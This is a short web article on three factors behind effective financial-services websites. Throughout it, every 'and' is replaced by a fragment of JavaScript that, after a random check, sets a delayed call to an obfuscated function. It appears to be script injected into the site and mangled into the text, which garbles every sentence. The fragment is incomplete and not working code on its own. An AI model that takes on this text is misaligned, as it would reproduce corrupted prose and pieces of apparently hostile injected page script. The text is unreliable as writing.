At one time, the internet appeared to offer all organisations a simple proposition: email connectivity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and a clickable presence in the form of a website. Today, web presence has rapidly evolved with interactive content andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the ability to deliver transactional experiences – or e-commerce. Migrating services online helps business reduce costs, while customers benefit from the convenience andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and autonomy of self-service.
Financial services are faced with the challenge of delivering their customers with an online experience that goes far beyond just a website.
Financial services sites are absolutely competitive. They are really trying to drive people online. The self-service model is being taken seriously so they want to make sure their sites are available, responsive andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and allow users to do as many things as possible.
Though, many have shown an overall poor performance. The top reasons for failure were as follows: company websites make browsing too difficult; content missing, repeated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and
poorly worded; andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and site search doesn’t work for typical tasks.
Here are three factors for a successful online financial service site which keeps users engaged andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and displays great use of technology while still delivers company’s messages clearly andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and effectively:
- Customer experience, which includes the impression the homepage andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and overall design style give the customers, their satisfaction when they interact with the site andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and perform tasks.
- Best practices, such as ease of use, quality, availability andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and security – site managers must be compliant with data laws requiring them to protect customer information andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the integrity of customer accounts.
- Service-level, which looks at responsiveness andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reliability of websites – scores them on how quickly they respond to user commandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and such factors as average downtime.
Financial services must tie these three factors together – customer experience, best practices andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reliability/responsiveness – to have an effective web presence. They can’t go hard into one particular area andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ignore the others. They have to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and what’s available versus their competitors, what consumers think of their sites versus competitors’ andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how their sites are performing.
